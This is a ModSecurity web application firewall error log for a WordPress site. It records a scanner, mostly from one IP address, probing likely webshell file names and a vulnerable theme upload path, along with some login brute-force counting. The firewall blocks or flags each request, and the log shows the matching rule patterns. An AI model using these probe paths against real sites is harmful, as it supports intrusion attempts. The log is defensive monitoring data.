[Thu Feb 26 21:03:22.437717 2026] [:error] [pid 55051:tid 55067] [client 20.220.189.106:8390] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/TOPXOH/wDR.php"] [unique_id "aaBEmgmK1w2kZvh5eLGmqwAAAI0"]
[Thu Feb 26 21:03:23.469842 2026] [:error] [pid 3883:tid 3907] [client 20.220.189.106:8328] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/templatesdex.php"] [unique_id "aaBEm-A33x90V6yYHajfkwAAAVU"]
[Thu Feb 26 21:03:24.371733 2026] [:error] [pid 3883:tid 3892] [client 20.220.189.106:8572] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/templatesdex.php"] [unique_id "aaBEnOA33x90V6yYHajfmgAAAUY"]
[Thu Feb 26 21:03:25.375664 2026] [:error] [pid 20419:tid 20423] [client 20.220.189.106:8914] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/templatesdex.php"] [unique_id "aaBEne3DVDvMfTYYUBVSeAAAAcE"]
[Thu Feb 26 21:03:27.755494 2026] [:error] [pid 55051:tid 55076] [client 20.220.189.106:8422] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/templatesdex.php"] [unique_id "aaBEnwmK1w2kZvh5eLGmvAAAAJY"]
[Thu Feb 26 21:03:28.786850 2026] [:error] [pid 55051:tid 55067] [client 20.220.189.106:8571] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vftjzsbm.php"] [unique_id "aaBEoAmK1w2kZvh5eLGmwAAAAI0"]
[Thu Feb 26 21:03:29.977302 2026] [:error] [pid 55051:tid 55069] [client 20.220.189.106:8563] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vftjzsbm.php"] [unique_id "aaBEoQmK1w2kZvh5eLGmxAAAAI8"]
[Thu Feb 26 21:03:31.027259 2026] [:error] [pid 3883:tid 3904] [client 20.220.189.106:8900] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vftjzsbm.php"] [unique_id "aaBEo-A33x90V6yYHajfqwAAAVI"]
[Thu Feb 26 21:03:31.892428 2026] [:error] [pid 3883:tid 3900] [client 20.220.189.106:8850] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vftjzsbm.php"] [unique_id "aaBEo-A33x90V6yYHajfswAAAU4"]
[Thu Feb 26 21:03:32.879084 2026] [:error] [pid 55618:tid 55624] [client 20.220.189.106:8352] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/index.php"] [unique_id "aaBEpB61Vrh12f_8oWQJQgAAAQM"]
[Thu Feb 26 21:03:34.456955 2026] [:error] [pid 3883:tid 3904] [client 20.220.189.106:8537] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/index.php"] [unique_id "aaBEpuA33x90V6yYHajfvwAAAVI"]
[Thu Feb 26 21:03:36.019282 2026] [:error] [pid 44444:tid 44463] [client 20.220.189.106:8876] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/index.php"] [unique_id "aaBEqG2sMNmj-yekUk0WYgAAAg0"]
[Thu Feb 26 21:03:39.326172 2026] [:error] [pid 55051:tid 55072] [client 20.220.189.106:8930] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/index.php"] [unique_id "aaBEqwmK1w2kZvh5eLGm2wAAAJI"]
[Thu Feb 26 21:03:39.951688 2026] [:error] [pid 3883:tid 3905] [client 20.220.189.106:8920] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/theme.php"] [unique_id "aaBEq-A33x90V6yYHajfxwAAAVM"]
[Thu Feb 26 21:03:40.842570 2026] [:error] [pid 55051:tid 55064] [client 20.220.189.106:8956] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/theme.php"] [unique_id "aaBErAmK1w2kZvh5eLGm3gAAAIo"]
[Thu Feb 26 21:03:41.631771 2026] [:error] [pid 55051:tid 55066] [client 20.220.189.106:8907] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/theme.php"] [unique_id "aaBErQmK1w2kZvh5eLGm4gAAAIw"]
[Thu Feb 26 21:03:44.669077 2026] [:error] [pid 44444:tid 44462] [client 20.220.189.106:8569] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/theme.php"] [unique_id "aaBEsG2sMNmj-yekUk0WkwAAAgw"]
[Thu Feb 26 21:03:46.267803 2026] [:error] [pid 55618:tid 55628] [client 20.220.189.106:8550] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/konzept/includes/uploadify/upload.php"] [unique_id "aaBEsh61Vrh12f_8oWQJUQAAAQc"]
[Thu Feb 26 21:03:48.715135 2026] [:error] [pid 44444:tid 44453] [client 20.220.189.106:8564] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/konzept/includes/uploadify/upload.php"] [unique_id "aaBEtG2sMNmj-yekUk0WpAAAAgM"]
[Thu Feb 26 21:03:50.675961 2026] [:error] [pid 3883:tid 3900] [client 20.220.189.106:8927] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/embed/admin.php"] [unique_id "aaBEtuA33x90V6yYHajf1QAAAU4"]
[Thu Feb 26 21:03:57.929733 2026] [:error] [pid 25311:tid 25331] [client 20.220.189.106:8948] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aaBEvdfdM__yZAgJFSvc6AAAAZE"]
[Thu Feb 26 21:04:00.399065 2026] [:error] [pid 20419:tid 20438] [client 20.220.189.106:8941] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "aaBEwO3DVDvMfTYYUBVSwgAAAdA"]
[Thu Feb 26 21:04:01.723207 2026] [:error] [pid 3883:tid 3897] [client 20.220.189.106:8929] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/freeform/admin.php"] [unique_id "aaBEweA33x90V6yYHajf2gAAAUs"]
[Thu Feb 26 22:01:39.713166 2026] [:error] [pid 44444:tid 44461] [client 157.245.196.99:52931] [client 157.245.196.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aaBSQ22sMNmj-yekUk09oQAAAgs"]
[Thu Feb 26 22:23:54.692126 2026] [:error] [pid 54991:tid 55024] [client 104.248.33.228:50086] [client 104.248.33.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.33.228, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaBXet4Zx-mJ8gbRB2j9hQAAAEQ"]
[Thu Feb 26 23:16:37.162095 2026] [:error] [pid 3883:tid 3910] [client 152.42.226.162:59800] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.42.226.162, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaBj1eA33x90V6yYHagC3gAAAVg"]
[Thu Feb 26 23:17:21.017227 2026] [:error] [pid 20419:tid 20439] [client 20.220.189.106:34799] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaBkAe3DVDvMfTYYUBV28gAAAdE"]
[Thu Feb 26 23:17:21.425911 2026] [:error] [pid 20419:tid 20429] [client 20.220.189.106:34754] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaBkAe3DVDvMfTYYUBV28wAAAcc"]
[Thu Feb 26 23:17:21.847804 2026] [:error] [pid 55051:tid 55070] [client 20.220.189.106:34775] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaBkAQmK1w2kZvh5eLHqRgAAAJA"]
[Thu Feb 26 23:17:22.275584 2026] [:error] [pid 44444:tid 44454] [client 20.220.189.106:34786] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aaBkAm2sMNmj-yekUk1zzQAAAgQ"]
[Thu Feb 26 23:17:22.699210 2026] [:error] [pid 55051:tid 55074] [client 20.220.189.106:34763] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aaBkAgmK1w2kZvh5eLHqSgAAAJQ"]
[Thu Feb 26 23:17:23.113630 2026] [:error] [pid 25311:tid 25320] [client 20.220.189.106:34696] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aaBkA9fdM__yZAgJFSv08wAAAYY"]
[Thu Feb 26 23:17:23.524639 2026] [:error] [pid 25311:tid 25314] [client 20.220.189.106:34771] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aaBkA9fdM__yZAgJFSv0-AAAAYA"]
[Thu Feb 26 23:17:23.941075 2026] [:error] [pid 44444:tid 44468] [client 20.220.189.106:34703] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aaBkA22sMNmj-yekUk1z0QAAAhI"]
[Thu Feb 26 23:17:24.357860 2026] [:error] [pid 55122:tid 55128] [client 20.220.189.106:34808] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaBkBILiR0OfjFxvcN88sQAAAMQ"]
[Thu Feb 26 23:17:24.772315 2026] [:error] [pid 54990:tid 54993] [client 20.220.189.106:34704] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaBkBHtr2qmt_mBhH2w1KwAAAAA"]
[Thu Feb 26 23:17:25.183262 2026] [:error] [pid 3883:tid 3896] [client 20.220.189.106:34700] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaBkBeA33x90V6yYHagDCAAAAUo"]
[Thu Feb 26 23:17:25.594554 2026] [:error] [pid 54991:tid 55026] [client 20.220.189.106:34769] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaBkBd4Zx-mJ8gbRB2gTuAAAAEY"]
[Thu Feb 26 23:17:26.008135 2026] [:error] [pid 54991:tid 55041] [client 20.220.189.106:34785] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aaBkBt4Zx-mJ8gbRB2gTugAAAFU"]
[Thu Feb 26 23:17:26.415811 2026] [:error] [pid 55122:tid 55131] [client 20.220.189.106:34767] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aaBkBoLiR0OfjFxvcN88tAAAAMc"]
[Thu Feb 26 23:17:26.832937 2026] [:error] [pid 44444:tid 44452] [client 20.220.189.106:34765] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aaBkBm2sMNmj-yekUk1z2AAAAgI"]
[Thu Feb 26 23:17:27.244324 2026] [:error] [pid 54990:tid 54994] [client 20.220.189.106:34792] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aaBkB3tr2qmt_mBhH2w1LgAAAAE"]
[Thu Feb 26 23:17:27.656128 2026] [:error] [pid 54991:tid 55031] [client 20.220.189.106:34789] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaBkB94Zx-mJ8gbRB2gTvwAAAEs"]
[Thu Feb 26 23:17:28.064515 2026] [:error] [pid 44444:tid 44470] [client 20.220.189.106:34788] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaBkCG2sMNmj-yekUk1z2wAAAhQ"]
[Thu Feb 26 23:17:28.487640 2026] [:error] [pid 44444:tid 44471] [client 20.220.189.106:34760] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaBkCG2sMNmj-yekUk1z3gAAAhU"]
[Thu Feb 26 23:17:28.899109 2026] [:error] [pid 44444:tid 44455] [client 20.220.189.106:34688] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaBkCG2sMNmj-yekUk1z4QAAAgU"]
[Thu Feb 26 23:17:29.312384 2026] [:error] [pid 55122:tid 55143] [client 20.220.189.106:34790] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaBkCYLiR0OfjFxvcN88uAAAANM"]
[Thu Feb 26 23:17:29.726011 2026] [:error] [pid 3883:tid 3906] [client 20.220.189.106:34804] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaBkCeA33x90V6yYHagDEAAAAVQ"]
[Thu Feb 26 23:17:30.138374 2026] [:error] [pid 3883:tid 3886] [client 20.220.189.106:34710] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaBkCuA33x90V6yYHagDEgAAAUA"]
[Thu Feb 26 23:17:30.556172 2026] [:error] [pid 25311:tid 25329] [client 20.220.189.106:34711] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaBkCtfdM__yZAgJFSv0_wAAAY8"]
[Thu Feb 26 23:17:30.966724 2026] [:error] [pid 25311:tid 25316] [client 20.220.189.106:34698] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaBkCtfdM__yZAgJFSv1AQAAAYI"]
[Thu Feb 26 23:17:31.377541 2026] [:error] [pid 54990:tid 55016] [client 20.220.189.106:34702] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaBkC3tr2qmt_mBhH2w1MAAAABc"]
[Thu Feb 26 23:17:31.793731 2026] [:error] [pid 55051:tid 55063] [client 20.220.189.106:34797] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaBkCwmK1w2kZvh5eLHqUQAAAIk"]
[Thu Feb 26 23:17:32.207248 2026] [:error] [pid 44444:tid 44456] [client 20.220.189.106:34802] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaBkDG2sMNmj-yekUk1z4wAAAgY"]
[Thu Feb 26 23:17:32.617013 2026] [:error] [pid 55051:tid 55068] [client 20.220.189.106:34716] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaBkDAmK1w2kZvh5eLHqVAAAAI4"]
[Thu Feb 26 23:17:33.033508 2026] [:error] [pid 20419:tid 20443] [client 20.220.189.106:34813] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaBkDe3DVDvMfTYYUBV2_gAAAdU"]
